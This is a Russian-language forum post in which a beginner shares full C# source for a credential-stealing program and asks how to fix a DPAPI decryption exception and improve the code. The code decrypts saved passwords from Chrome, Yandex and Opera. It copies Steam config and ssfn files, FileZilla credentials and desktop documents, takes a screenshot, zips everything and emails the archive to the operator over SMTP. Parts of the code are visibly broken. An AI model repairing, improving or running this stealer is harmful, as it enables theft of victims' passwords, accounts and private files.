Рекламный баннер

Вопрос Почему выдает исключение System.Security.Cryptography.CryptographicException: "Параметр задан неверно. "?

Cee_Doj

Наблюдатель
Новичок

Cee_Doj

Наблюдатель
Новичок
Сообщения
1
Реакции
0
Баллы
1
Доброго времени суток! Пишу стиллер на шарпике и наткнулся на такую проблему...Исходники не мои, взял с инета, особо в программировании пока что не шарю, знаю только основы и было бы интересно двигаться в извучении тематики хакерства. Так вот, вытаскиваю пароли и выдает исключение
System.Security.Cryptography.CryptographicException: "Параметр задан неверно.
"
после чего программа останавливается. Мне бы очень хотелось решить данную проблему, ибо до определенного момента времени эта же программа была рабочей.
Так же поступила инфа что это "говнокод" и его можно было бы улучшить. Вобщем, если кто шарит, подскажите, пожалуйста, как решить проблему с исключением и как улучшить код)

код первого класса:

using Ionic.Zip;
using System;
using System.IO;
using System.Security.Principal;
using System.Drawing;
using System.Collections.Generic;
using System.Text;
using System.Management;
using System.Net;
using System.Net.Mail;
using System.Linq;
using System.Threading.Tasks;


namespace Stiller
{
class Program
{
static string temp = Path.GetTempPath();
static string LocalAppData = Environment.GetEnvironmentVariable("LocalAppData");
static string AppData = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData);

static string username = WindowsIdentity.GetCurrent().Name;

static string workdir = temp + username;

static string host = Dns.GetHostName();
static IPAddress IP = Dns.GetHostByName(host).AddressList[0];
static string HWID = "";
static void Main(string[] args)
{
string text = "";

Directory.CreateDirectory(temp + username);
Directory.CreateDirectory(workdir + "\\Steam");
Directory.CreateDirectory(workdir + "\\Steam\\ssfn");
Directory.CreateDirectory(workdir + "\\Desktop");
DirectoryInfo directoryInfo = Directory.CreateDirectory(workdir + "\\FileZilla");

string[] dir =
{
LocalAppData + @"\Google\Chrome\User Data\Default\Login Data",
LocalAppData + @"\Yandex\YandexBrowser\User Data\Default\Login Data",
AppData + @"\Opera Software\Opera Stable\Login Data"
};

foreach (string p in dir) //идем по папкам
{
var pas = Dark__tealer__darkside_team.passwords.ReadPass(p);
if (File.Exists(p)) // если файл с паролями существует, то выполняем следующие действия
{
text += "Dark $tealer by DiggyDiDubez\r\n\r\n";

foreach (var item in pas)
{
if ((item.Item2.Length > 0) && (item.Item3.Length > 0)) // если значения логина и пароля не пустые, то заносим их в переменную
{

text += "URL: " + item.Item1 + "\r\n" + "Login: " + item.Item2 + "\r\n" + "Password: " + item.Item3 + "\r\n";
text += " \r\n";
}
}
}
}

File.WriteAllText(temp + @"" + username + "\\Passwords.txt", text); // записываем пароли в файл
File.Delete(temp + @"" + username + "\\Login Data"); // Удаляем лишние

string steamdir = (string)Microsoft.Win32.Registry.GetValue(@"HKEY_CURRENT_USER\SOFTWARE\Valve\Steam", "Steampath", null); // Ищем папку стима через реестр
string cfgdir = steamdir + "\\config"; // Добавляем переменную для папки config

DirectoryInfo dirInfo = new DirectoryInfo(cfgdir); // Создаём переменную dirInfi
foreach (FileInfo file2 in dirInfo.GetFiles("*.*")) // Указываем, что копируем все файлы
{
File.Copy(file2.FullName, workdir + "\\Steam" + "\\" + file2.Name, true); // Копируем
}

DirectoryInfo dirInfo1 = new DirectoryInfo(steamdir);
foreach (FileInfo file1 in dirInfo1.GetFiles("ssfn*")) // Указываем, что копируем только файлы начинающиеся с ssfn
{
File.Copy(file1.FullName, workdir + "\\Steam\\ssfn" + "\\" + file1.Name, true);
}

string desktop = Environment.GetFolderPath(Environment.SpecialFolder.Desktop); ;
string[] files = Directory.GetFiles(desktop);

List<string> listFiles = new List<string>(); // Список
foreach (string i in files)
{
string extens = Path.GetExtension(i); // Переменная отвечающая за расширения файлов
if (extens == ".pdf" || extens == ".txt" || extens == ".sql" || extens == ".docx" || extens == ".xlsx" || extens == ".pub" || extens == ".accdb" || extens == ".rtf" || extens == ".pptx" || extens == ".bmp" || extens == ".png" || extens == "*.*") // Проверка расширения
{
listFiles.Add(i); // Добавляем файл в список, если прошёл проверку
}
}


List<string> names = new List<string>(); // Список
foreach (string i in listFiles)
{
names.Add(Path.GetFileName(i)); // Имя файла
}

for (int i = 0; i < listFiles.Count; i++)
{
if (File.Exists(Path.Combine(workdir + "\\Desktop", names))) // Если файл существует
File.Delete(Path.Combine(workdir + "\\Desktop", names)); // Удаляем

File.Copy(listFiles, Path.Combine(workdir + "\\Desktop", names)); // Копируем файлы из списка в нашу подпапку Desktop
}

Bitmap Screenshot;
int width = int.Parse(System.Windows.Forms.Screen.PrimaryScreen.Bounds.Width.ToString());
int height = int.Parse(System.Windows.Forms.Screen.PrimaryScreen.Bounds.Width.ToString());
Screenshot = new Bitmap(1920, 1080); // Расширение скриншота
Size s = new Size(Screenshot.Width, Screenshot.Height); // Размер
Graphics memoryGraphics = Graphics.FromImage(Screenshot);
memoryGraphics.CopyFromScreen(0, 0, 0, 0, s);
string screenpath = workdir + "\\Screen.jpg"; // Папка для сохранения
Screenshot.Save(screenpath); // Сохраняем

string FileZilla = AppData + "\\FileZilla";

try
{
DirectoryInfo dirInfo2 = new DirectoryInfo(FileZilla);
foreach (FileInfo file1 in dirInfo2.GetFiles("*.xml")) // Ограничение, только файлы с расширением xml
{
File.Copy(file1.FullName, workdir + "\\FileZilla" + "\\" + file1.Name, true); // Копируем
}
}

catch { }


using (ZipFile zip = new ZipFile(Encoding.GetEncoding("cp866"))) // Устанавливаем кодировку
{
zip.CompressionLevel = Ionic.Zlib.CompressionLevel.BestCompression; // Задаем максимальную степень сжатия
zip.Password = "DARK"; // Задаём пароль
zip.AddDirectory(@"" + temp + username); // Кладем в архив папку вместе с содежимым
zip.Save(@"" + temp + username + "@Stiller.zip"); // Сохраняем архив
}

string LOG = @"" + temp + username + "@Stiller.zip";


SmtpClient smtp = new SmtpClient("smtp.mail.ru", 587);
MailAddress from = new MailAddress("почта отправителя", "имя отправителя");
MailAddress to = new MailAddress("почта получателя");
MailMessage message = new MailMessage(from, to);
message.Subject = "готово к просмотру";
message.Body = "";
message.IsBodyHtml = true;
message.Attachments.Add(new Attachment(LOG));
smtp.Credentials = new NetworkCredential("почта отправителя", "пароль отправителя");
smtp.EnableSsl = true;
smtp.Send(message);
}
}
}

код второго класса:

using System;
using System.Collections.Generic;
using System.IO;
using System.Security.Principal;
using System.Text;

namespace Stealer2
{
class passwords
{
static string temp = Path.GetTempPath();
static string username = WindowsIdentity.GetCurrent().Name;

static public IEnumerable<Tuple<string, string, string>> ReadPass(string dbPath)
{
if (File.Exists(temp + @"" + username + "\\Login Data")) // Если файл по данному пути существует, то удаляем его
{
File.Delete(temp + @"" + username + "\\Login Data");
}
File.Copy(dbPath, temp + @"" + username + "\\Login Data"); // копируем файл с паролями для того, чтобы не закрывать браузер
dbPath = temp + @"" + username + "\\Login Data";
var connectionString = "Data Source=" + dbPath + ";pooling=false";
using (var conn = new System.Data.SQLite.SQLiteConnection(connectionString))
using (var cmd = conn.CreateCommand())
{


cmd.CommandText = "SELECT password_value,username_value,origin_url FROM logins";

conn.Open();
using (var reader = cmd.ExecuteReader())
{
while (reader.Read())
{
var encryptedData = (byte[])reader[0];

var decodedData = System.Security.Cryptography.ProtectedData.Unprotect(encryptedData, null, System.Security.Cryptography.DataProtectionScope.CurrentUser); // расшифровка паролей (((((на этом моменте выдает исключение...)))))
var plainText = Encoding.ASCII.GetString(decodedData);

yield return Tuple.Create(reader.GetString(2), reader.GetString(1), plainText);

}

}
conn.Close();
}
}
}
}
 
Сверху